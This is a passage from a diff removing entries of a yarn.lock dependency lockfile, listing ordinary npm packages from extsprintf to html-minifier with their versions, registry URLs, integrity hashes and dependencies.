-integrity sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==
-dependencies:
-array-unique "^0.3.2"
-define-property "^1.0.0"
-expand-brackets "^2.1.4"
-extend-shallow "^2.0.1"
-fragment-cache "^0.2.1"
-regex-not "^1.0.0"
-snapdragon "^0.8.1"
-to-regex "^3.0.1"
-
-extsprintf@1.3.0:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
-integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
-
-extsprintf@^1.2.0:
-version "1.4.0"
-resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f"
-integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8=
-
-falafel@^2.1.0:
-version "2.2.4"
-resolved "https://registry.yarnpkg.com/falafel/-/falafel-2.2.4.tgz#b5d86c060c2412a43166243cb1bce44d1abd2819"
-integrity sha512-0HXjo8XASWRmsS0X1EkhwEMZaD3Qvp7FfURwjLKjG1ghfRm/MGZl2r4cWUTv41KdNghTw4OUMmVtdGQp3+H+uQ==
-dependencies:
-acorn "^7.1.1"
-foreach "^2.0.5"
-isarray "^2.0.1"
-object-keys "^1.0.6"
-
-fast-deep-equal@^3.1.1:
-version "3.1.3"
-resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
-integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
-
-fast-glob@^2.0.2, fast-glob@^2.2.2:
-version "2.2.7"
-resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-2.2.7.tgz#6953857c3afa475fff92ee6015d52da70a4cd39d"
-integrity sha512-g1KuQwHOZAmOZMuBtHdxDtju+T2RT8jgCC9aANsbpdiDDTSnjgfuVsIBNKbUeJI3oKMRExcfNDtJl4OhbffMsw==
-dependencies:
-"@mrmlnc/readdir-enhanced" "^2.2.1"
-"@nodelib/fs.stat" "^1.1.2"
-glob-parent "^3.1.0"
-is-glob "^4.0.0"
-merge2 "^1.2.3"
-micromatch "^3.1.10"
-
-fast-json-stable-stringify@^2.0.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
-integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
-
-fast-levenshtein@~2.0.6:
-version "2.0.6"
-resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
-integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
-
-fastparse@^1.1.2:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/fastparse/-/fastparse-1.1.2.tgz#91728c5a5942eced8531283c79441ee4122c35a9"
-integrity sha512-483XLLxTVIwWK3QTrMGRqUfUpoOs/0hbQrl2oz4J0pAcm3A3bu84wxTFqGqkJzewCLdME38xJLJAxBABfQT8sQ==
-
-fb-watchman@^2.0.0:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/fb-watchman/-/fb-watchman-2.0.1.tgz#fc84fb39d2709cf3ff6d743706157bb5708a8a85"
-integrity sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==
-dependencies:
-bser "2.1.1"
-
-file-uri-to-path@1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz#553a7b8446ff6f684359c445f1e37a05dacc33dd"
-integrity sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==
-
-filesize@^3.6.0:
-version "3.6.1"
-resolved "https://registry.yarnpkg.com/filesize/-/filesize-3.6.1.tgz#090bb3ee01b6f801a8a8be99d31710b3422bb317"
-integrity sha512-7KjR1vv6qnicaPMi1iiTcI85CyYwRO/PSFCu6SvqL8jN2Wjt/NIYQTFtFs7fSDCYOstUkEWIQGFUg5YZQfjlcg==
-
-fill-range@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
-integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=
-dependencies:
-extend-shallow "^2.0.1"
-is-number "^3.0.0"
-repeat-string "^1.6.1"
-to-regex-range "^2.1.0"
-
-fill-range@^7.0.1:
-version "7.0.1"
-resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40"
-integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==
-dependencies:
-to-regex-range "^5.0.1"
-
-finalhandler@~1.1.2:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
-integrity sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==
-dependencies:
-debug "2.6.9"
-encodeurl "~1.0.2"
-escape-html "~1.0.3"
-on-finished "~2.3.0"
-parseurl "~1.3.3"
-statuses "~1.5.0"
-unpipe "~1.0.0"
-
-find-up@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/find-up/-/find-up-2.1.0.tgz#45d1b7e506c717ddd482775a2b77920a3c0c57a7"
-integrity sha1-RdG35QbHF93UgndaK3eSCjwMV6c=
-dependencies:
-locate-path "^2.0.0"
-
-find-up@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
-integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==
-dependencies:
-locate-path "^3.0.0"
-
-find-up@^4.0.0, find-up@^4.1.0:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
-integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==
-dependencies:
-locate-path "^5.0.0"
-path-exists "^4.0.0"
-
-fizzy-ui-utils@^2.0.0, fizzy-ui-utils@^2.0.4:
-version "2.0.7"
-resolved "https://registry.yarnpkg.com/fizzy-ui-utils/-/fizzy-ui-utils-2.0.7.tgz#7df45dcc4eb374a08b65d39bb9a4beedf7330505"
-integrity sha512-CZXDVXQ1If3/r8s0T+v+qVeMshhfcuq0rqIFgJnrtd+Bu8GmDmqMjntjUePypVtjHXKJ6V4sw9zeyox34n9aCg==
-dependencies:
-desandro-matches-selector "^2.0.0"
-
-follow-redirects@1.5.10:
-version "1.5.10"
-resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.5.10.tgz#7b7a9f9aea2fdff36786a94ff643ed07f4ff5e2a"
-integrity sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ==
-dependencies:
-debug "=3.1.0"
-
-for-in@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=
-
-foreach@^2.0.5:
-version "2.0.5"
-resolved "https://registry.yarnpkg.com/foreach/-/foreach-2.0.5.tgz#0bee005018aeb260d0a3af3ae658dd0136ec1b99"
-integrity sha1-C+4AUBiusmDQo6865ljdATbsG5k=
-
-forever-agent@~0.6.1:
-version "0.6.1"
-resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
-integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=
-
-form-data@~2.3.2:
-version "2.3.3"
-resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6"
-integrity sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==
-dependencies:
-asynckit "^0.4.0"
-combined-stream "^1.0.6"
-mime-types "^2.1.12"
-
-forwarded@~0.1.2:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84"
-integrity sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=
-
-fragment-cache@^0.2.1:
-version "0.2.1"
-resolved "https://registry.yarnpkg.com/fragment-cache/-/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19"
-integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=
-dependencies:
-map-cache "^0.2.2"
-
-fresh@0.5.2:
-version "0.5.2"
-resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
-integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=
-
-fs.realpath@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
-
-fsevents@^1.2.7:
-version "1.2.13"
-resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-1.2.13.tgz#f325cb0455592428bcf11b383370ef70e3bfcc38"
-integrity sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==
-dependencies:
-bindings "^1.5.0"
-nan "^2.12.1"
-
-fsevents@^2.1.2, fsevents@~2.1.2:
-version "2.1.3"
-resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.1.3.tgz#fb738703ae8d2f9fe900c33836ddebee8b97f23e"
-integrity sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==
-
-function-bind@^1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
-integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
-
-generic-names@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/generic-names/-/generic-names-2.0.1.tgz#f8a378ead2ccaa7a34f0317b05554832ae41b872"
-integrity sha512-kPCHWa1m9wGG/OwQpeweTwM/PYiQLrUIxXbt/P4Nic3LbGjCP0YwrALHW1uNLKZ0LIMg+RF+XRlj2ekT9ZlZAQ==
-dependencies:
-loader-utils "^1.1.0"
-
-gensync@^1.0.0-beta.1:
-version "1.0.0-beta.1"
-resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.1.tgz#58f4361ff987e5ff6e1e7a210827aa371eaac269"
-integrity sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg==
-
-get-caller-file@^2.0.1:
-version "2.0.5"
-resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
-integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
-
-get-package-type@^0.1.0:
-version "0.1.0"
-resolved "https://registry.yarnpkg.com/get-package-type/-/get-package-type-0.1.0.tgz#8de2d803cff44df3bc6c456e6668b36c3926e11a"
-integrity sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==
-
-get-port@^3.2.0:
-version "3.2.0"
-resolved "https://registry.yarnpkg.com/get-port/-/get-port-3.2.0.tgz#dd7ce7de187c06c8bf353796ac71e099f0980ebc"
-integrity sha1-3Xzn3hh8Bsi/NTeWrHHgmfCYDrw=
-
-get-size@^2.0.0, get-size@^2.0.2:
-version "2.0.3"
-resolved "https://registry.yarnpkg.com/get-size/-/get-size-2.0.3.tgz#54a1d0256b20ea7ac646516756202769941ad2ef"
-integrity sha512-lXNzT/h/dTjTxRbm9BXb+SGxxzkm97h/PCIKtlN/CBCxxmkkIVV21udumMS93MuVTDX583gqc94v3RjuHmI+2Q==
-
-get-stream@^4.0.0:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-4.1.0.tgz#c1b255575f3dc21d59bfc79cd3d2b46b1c3a54b5"
-integrity sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==
-dependencies:
-pump "^3.0.0"
-
-get-stream@^5.0.0:
-version "5.1.0"
-resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-5.1.0.tgz#01203cdc92597f9b909067c3e656cc1f4d3c4dc9"
-integrity sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==
-dependencies:
-pump "^3.0.0"
-
-get-value@^2.0.3, get-value@^2.0.6:
-version "2.0.6"
-resolved "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
-integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
-
-getpass@^0.1.1:
-version "0.1.7"
-resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa"
-integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=
-dependencies:
-assert-plus "^1.0.0"
-
-glob-parent@^3.1.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae"
-integrity sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=
-dependencies:
-is-glob "^3.1.0"
-path-dirname "^1.0.0"
-
-glob-parent@~5.1.0:
-version "5.1.1"
-resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.1.tgz#b6c1ef417c4e5663ea498f1c45afac6916bbc229"
-integrity sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==
-dependencies:
-is-glob "^4.0.1"
-
-glob-to-regexp@^0.3.0:
-version "0.3.0"
-resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.3.0.tgz#8c5a1494d2066c570cc3bfe4496175acc4d502ab"
-integrity sha1-jFoUlNIGbFcMw7/kSWF1rMTVAqs=
-
-glob@7.1.6, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4:
-version "7.1.6"
-resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
-integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==
-dependencies:
-fs.realpath "^1.0.0"
-inflight "^1.0.4"
-inherits "2"
-minimatch "^3.0.4"
-once "^1.3.0"
-path-is-absolute "^1.0.0"
-
-globals@^11.1.0:
-version "11.12.0"
-resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
-integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
-
-globby@^8.0.1:
-version "8.0.2"
-resolved "https://registry.yarnpkg.com/globby/-/globby-8.0.2.tgz#5697619ccd95c5275dbb2d6faa42087c1a941d8d"
-integrity sha512-yTzMmKygLp8RUpG1Ymu2VXPSJQZjNAZPD4ywgYEaG7e4tBJeUQBO8OpXrf1RCNcEs5alsoJYPAMiIHP0cmeC7w==
-dependencies:
-array-union "^1.0.1"
-dir-glob "2.0.0"
-fast-glob "^2.0.2"
-glob "^7.1.2"
-ignore "^3.3.5"
-pify "^3.0.0"
-slash "^1.0.0"
-
-good-listener@^1.2.2:
-version "1.2.2"
-resolved "https://registry.yarnpkg.com/good-listener/-/good-listener-1.2.2.tgz#d53b30cdf9313dffb7dc9a0d477096aa6d145c50"
-integrity sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=
-dependencies:
-delegate "^3.1.2"
-
-graceful-fs@^4.1.11, graceful-fs@^4.1.2, graceful-fs@^4.2.4:
-version "4.2.4"
-resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.4.tgz#2256bde14d3632958c465ebc96dc467ca07a29fb"
-integrity sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==
-
-grapheme-breaker@^0.3.2:
-version "0.3.2"
-resolved "https://registry.yarnpkg.com/grapheme-breaker/-/grapheme-breaker-0.3.2.tgz#5b9e6b78c3832452d2ba2bb1cb830f96276410ac"
-integrity sha1-W55reMODJFLSuiuxy4MPlidkEKw=
-dependencies:
-brfs "^1.2.0"
-unicode-trie "^0.3.1"
-
-growly@^1.3.0:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/growly/-/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081"
-integrity sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=
-
-gzip-size@5.1.1:
-version "5.1.1"
-resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274"
-integrity sha512-FNHi6mmoHvs1mxZAds4PpdCS6QG8B4C1krxJsMutgxl5t3+GlRTzzI3NEkifXx2pVsOvJdOGSmIgDhQ55FwdPA==
-dependencies:
-duplexer "^0.1.1"
-pify "^4.0.1"
-
-har-schema@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
-integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
-
-har-validator@~5.1.3:
-version "5.1.3"
-resolved "https://registry.yarnpkg.com/har-validator/-/har-validator-5.1.3.tgz#1ef89ebd3e4996557675eed9893110dc350fa080"
-integrity sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==
-dependencies:
-ajv "^6.5.5"
-har-schema "^2.0.0"
-
-has-ansi@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
-integrity sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=
-dependencies:
-ansi-regex "^2.0.0"
-
-has-binary2@~1.0.2:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/has-binary2/-/has-binary2-1.0.3.tgz#7776ac627f3ea77250cfc332dab7ddf5e4f5d11d"
-integrity sha512-G1LWKhDSvhGeAQ8mPVQlqNcOB2sJdwATtZKl2pDKKHfpf/rYj24lkinxf69blJbnsvtqqNU+L3SL50vzZhXOnw==
-dependencies:
-isarray "2.0.1"
-
-has-cors@1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/has-cors/-/has-cors-1.1.0.tgz#5e474793f7ea9843d1bb99c23eef49ff126fff39"
-integrity sha1-XkdHk/fqmEPRu5nCPu9J/xJv/zk=
-
-has-flag@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-1.0.0.tgz#9d9e793165ce017a00f00418c43f942a7b1d11fa"
-integrity sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=
-
-has-flag@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
-integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
-
-has-flag@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
-integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
-
-has-symbols@^1.0.0, has-symbols@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz#9f5214758a44196c406d9bd76cebf81ec2dd31e8"
-integrity sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==
-
-has-value@^0.3.1:
-version "0.3.1"
-resolved "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
-integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
-dependencies:
-get-value "^2.0.3"
-has-values "^0.1.4"
-isobject "^2.0.0"
-
-has-value@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
-integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
-dependencies:
-get-value "^2.0.6"
-has-values "^1.0.0"
-isobject "^3.0.0"
-
-has-values@^0.1.4:
-version "0.1.4"
-resolved "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
-integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
-
-has-values@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
-integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
-dependencies:
-is-number "^3.0.0"
-kind-of "^4.0.0"
-
-has@^1.0.0, has@^1.0.1, has@^1.0.3:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
-integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
-dependencies:
-function-bind "^1.1.1"
-
-hash-base@^3.0.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/hash-base/-/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33"
-integrity sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==
-dependencies:
-inherits "^2.0.4"
-readable-stream "^3.6.0"
-safe-buffer "^5.2.0"
-
-hash.js@^1.0.0, hash.js@^1.0.3:
-version "1.1.7"
-resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42"
-integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==
-dependencies:
-inherits "^2.0.3"
-minimalistic-assert "^1.0.1"
-
-he@^1.2.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
-integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
-
-hex-color-regex@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/hex-color-regex/-/hex-color-regex-1.1.0.tgz#4c06fccb4602fe2602b3c93df82d7e7dbf1a8a8e"
-integrity sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ==
-
-hint.css@^2.6.0:
-version "2.6.0"
-resolved "https://registry.yarnpkg.com/hint.css/-/hint.css-2.6.0.tgz#cd6bbe25e2bc16a6454765d9559ad7bd035b3cf5"
-integrity sha512-SnCLQOoPQt4fuHbOOvEL3UZwL0SPFtKMN4YIxAvBTe4oFUtBAT4R2Kk1uk3x5hgN+0xzOb6LFEQf5StbYfNm8w==
-
-hmac-drbg@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
-integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=
-dependencies:
-hash.js "^1.0.3"
-minimalistic-assert "^1.0.0"
-minimalistic-crypto-utils "^1.0.1"
-
-hosted-git-info@^2.1.4:
-version "2.8.8"
-resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.8.tgz#7539bd4bc1e0e0a895815a2e0262420b12858488"
-integrity sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==
-
-hsl-regex@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/hsl-regex/-/hsl-regex-1.0.0.tgz#d49330c789ed819e276a4c0d272dffa30b18fe6e"
-integrity sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=
-
-hsla-regex@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/hsla-regex/-/hsla-regex-1.0.0.tgz#c1ce7a3168c8c6614033a4b5f7877f3b225f9c38"
-integrity sha1-wc56MWjIxmFAM6S194d/OyJfnDg=
-
-html-comment-regex@^1.1.0:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/html-comment-regex/-/html-comment-regex-1.1.2.tgz#97d4688aeb5c81886a364faa0cad1dda14d433a7"
-integrity sha512-P+M65QY2JQ5Y0G9KKdlDpo0zK+/OHptU5AaBwUfAIDJZk1MYf32Frm84EcOytfJE0t5JvkAnKlmjsXDnWzCJmQ==
-
-html-encoding-sniffer@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-1.0.2.tgz#e70d84b94da53aa375e11fe3a351be6642ca46f8"
-integrity sha512-71lZziiDnsuabfdYiUeWdCVyKuqwWi23L8YeIgV9jSSZHCtb6wB1BKWooH7L3tn4/FuZJMVWyNaIDr4RGmaSYw==
-dependencies:
-whatwg-encoding "^1.0.1"
-
-html-encoding-sniffer@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz#42a6dc4fd33f00281176e8b23759ca4e4fa185f3"
-integrity sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==
-dependencies:
-whatwg-encoding "^1.0.5"
-
-html-escaper@^2.0.0:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
-integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==
-
-html-minifier@4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/html-minifier/-/html-minifier-4.0.0.tgz#cca9aad8bce1175e02e17a8c33e46d8988889f56"
